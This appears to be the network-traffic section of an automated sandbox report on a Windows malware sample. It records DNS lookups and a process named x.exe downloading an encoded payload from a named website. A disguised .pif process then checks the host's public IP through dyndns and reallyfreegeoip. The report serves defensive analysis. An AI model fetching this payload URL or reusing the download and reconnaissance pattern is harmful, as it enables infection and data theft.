Jan 16, 2025 08:29:15.431687117 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.431794882 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.431864023 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.431971073 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.432061911 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.432107925 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.432248116 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.432343006 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.446770906 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.446952105 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.446974993 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.446996927 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.447037935 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.447254896 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.447326899 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.447338104 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.488296032 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.492675066 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.492744923 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.513668060 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.513736010 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.513767004 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.513823986 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.513951063 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514007092 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.514117002 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514175892 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.514389038 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514445066 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.514457941 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514523983 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.514553070 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514609098 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.514688969 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514741898 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.514834881 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.514885902 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.515305042 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.515366077 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.515491962 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.515543938 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.515554905 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.515607119 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.533468962 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.533545017 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.533543110 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.533576965 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.533617020 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.579643011 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.579737902 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.579777002 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.600687981 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.600743055 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.600775957 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.600821972 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.600856066 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.600887060 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.600923061 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.600960016 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601039886 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601048946 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601124048 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601145983 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601191044 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601541042 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601602077 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601608038 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601623058 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601665020 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601671934 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601712942 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601717949 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601772070 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601814032 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.601856947 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.601938009 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.602006912 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.602251053 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.602339983 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.620229959 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.620301962 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.620331049 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.620348930 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.620369911 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.620381117 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.620393991 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.620449066 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.666356087 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.666502953 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.687421083 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.687498093 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.687520981 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.687572956 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.709991932 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.710022926 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.710037947 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.710046053 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:20.948019981 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:20.952980995 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:20.953063965 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:20.953425884 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:20.958215952 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:21.591346979 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:21.595254898 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:21.600017071 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:21.783902884 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:21.798005104 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:21.798039913 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:21.798140049 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:21.818823099 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:21.818865061 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:21.836380005 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:22.278369904 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:22.278539896 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:22.318136930 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:22.318167925 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:22.318553925 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:22.368448973 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:22.384469032 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:22.427371979 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:22.490453005 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:22.490530968 CET	443	49733	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:22.490611076 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:22.550962925 CET	49733	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:33.894598007 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:33.899632931 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:33.899770021 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:33.900171995 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:33.904959917 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:34.532540083 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:34.542181969 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:34.547164917 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:34.727545023 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:34.729547977 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:34.729595900 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:34.729671001 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:34.740889072 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:34.740919113 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:34.882496119 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:35.194977999 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:35.195054054 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:35.197469950 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:35.197484970 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:35.197818995 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:35.382472992 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:35.672631979 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:35.719340086 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:35.773648024 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:35.773720980 CET	443	49741	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:35.773770094 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:35.776849031 CET	49741	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:40.956370115 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:40.961158037 CET	80	49742	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:40.961431026 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:40.961503983 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:40.966259956 CET	80	49742	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:41.597172976 CET	80	49742	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:41.601150036 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:41.606113911 CET	80	49742	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:41.795888901 CET	80	49742	193.122.6.168	192.168.2.4
Jan 16, 2025 08:29:41.800142050 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:41.800261021 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:41.800486088 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:41.816404104 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:41.816445112 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:41.869303942 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:29:42.282965899 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:42.283049107 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:42.287605047 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:42.287638903 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:42.288083076 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:42.330719948 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:42.375340939 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:42.441792011 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:42.441864967 CET	443	49743	104.21.96.1	192.168.2.4
Jan 16, 2025 08:29:42.441927910 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:29:42.444498062 CET	49743	443	192.168.2.4	104.21.96.1
Jan 16, 2025 08:30:26.783025026 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:30:26.783071041 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:30:39.728189945 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:30:39.732371092 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:30:46.795960903 CET	80	49742	193.122.6.168	192.168.2.4
Jan 16, 2025 08:30:46.796040058 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:31:01.887059927 CET	49732	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:31:01.892184973 CET	80	49732	193.122.6.168	192.168.2.4
Jan 16, 2025 08:31:14.752636909 CET	49740	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:31:14.757421017 CET	80	49740	193.122.6.168	192.168.2.4
Jan 16, 2025 08:31:21.799676895 CET	49742	80	192.168.2.4	193.122.6.168
Jan 16, 2025 08:31:21.804487944 CET	80	49742	193.122.6.168	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 08:29:13.549662113 CET	55022	53	192.168.2.4	1.1.1.1
Jan 16, 2025 08:29:14.105671883 CET	53	55022	1.1.1.1	192.168.2.4
Jan 16, 2025 08:29:20.871078014 CET	64014	53	192.168.2.4	1.1.1.1
Jan 16, 2025 08:29:20.878156900 CET	53	64014	1.1.1.1	192.168.2.4
Jan 16, 2025 08:29:21.789482117 CET	63386	53	192.168.2.4	1.1.1.1
Jan 16, 2025 08:29:21.796925068 CET	53	63386	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2025 08:29:13.549662113 CET	192.168.2.4	1.1.1.1	0x7b6d	Standard query (0)	www.volareconsultoria.com.br	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:20.871078014 CET	192.168.2.4	1.1.1.1	0x93c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.789482117 CET	192.168.2.4	1.1.1.1	0x21dd	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 08:29:14.105671883 CET	1.1.1.1	192.168.2.4	0x7b6d	No error (0)	www.volareconsultoria.com.br	volareconsultoria.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 08:29:14.105671883 CET	1.1.1.1	192.168.2.4	0x7b6d	No error (0)	volareconsultoria.com.br		50.116.86.44	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:20.878156900 CET	1.1.1.1	192.168.2.4	0x93c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 08:29:20.878156900 CET	1.1.1.1	192.168.2.4	0x93c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:20.878156900 CET	1.1.1.1	192.168.2.4	0x93c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:20.878156900 CET	1.1.1.1	192.168.2.4	0x93c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:20.878156900 CET	1.1.1.1	192.168.2.4	0x93c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:20.878156900 CET	1.1.1.1	192.168.2.4	0x93c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 08:29:21.796925068 CET	1.1.1.1	192.168.2.4	0x21dd	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.volareconsultoria.com.br

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	193.122.6.168	80	1856	C:\Users\Public\Libraries\liuuazhU.pif

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 08:29:20.953425884 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 16, 2025 08:29:21.591346979 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 16, 2025 08:29:21.595254898 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 16, 2025 08:29:21.783902884 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	193.122.6.168	80	5640	C:\Users\Public\Libraries\liuuazhU.pif

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 08:29:33.900171995 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 16, 2025 08:29:34.532540083 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 16, 2025 08:29:34.542181969 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 16, 2025 08:29:34.727545023 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	193.122.6.168	80	5956	C:\Users\Public\Libraries\liuuazhU.pif

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 08:29:40.961503983 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 16, 2025 08:29:41.597172976 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 16, 2025 08:29:41.601150036 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 16, 2025 08:29:41.795888901 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	50.116.86.44	443	6492	C:\Users\user\AppData\Local\Temp\x.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 07:29:14 UTC	177	OUT	GET /245_Uhzauuilkul HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: www.volareconsultoria.com.br
2025-01-16 07:29:14 UTC	209	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 07:29:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 15 Jan 2025 22:09:33 GMT Accept-Ranges: bytes Content-Length: 764756
2025-01-16 07:29:14 UTC	7983	IN	Data Raw: 38 6a 4a 70 47 73 6b 73 64 4b 66 59 48 53 72 6e 48 58 46 46 6f 75 50 4b 67 77 39 45 63 74 45 64 51 68 6d 31 4c 57 37 57 72 70 31 4b 76 51 63 43 54 66 6e 52 58 49 75 33 31 5a 39 55 72 50 6e 30 58 41 48 53 54 4a 72 47 31 61 5a 4b 74 75 74 6c 39 63 35 67 76 6f 74 71 71 2f 65 58 55 65 78 4b 68 2f 69 6f 6d 33 69 32 42 71 42 6a 36 55 35 32 38 37 4f 6a 62 71 76 76 70 6c 59 46 55 47 38 65 35 58 43 4a 35 68 74 38 4d 77 38 37 6b 43 58 57 65 35 37 64 48 34 52 48 43 53 71 58 43 74 4f 42 41 55 42 70 6c 69 73 71 61 76 39 65 30 41 42 68 4e 75 75 70 5a 5a 57 2f 70 44 39 67 6c 36 6c 63 2f 31 4c 43 68 4d 70 38 45 5a 6c 55 4d 44 2f 77 35 7a 53 47 67 4a 64 68 30 67 42 57 4e 30 64 35 44 4a 72 5a 68 6a 33 47 2f 52 30 78 45 74 35 6d 6e 4c 54 65 2f 47 31 73 36 7a 5a 69 39 37 6a Data Ascii: 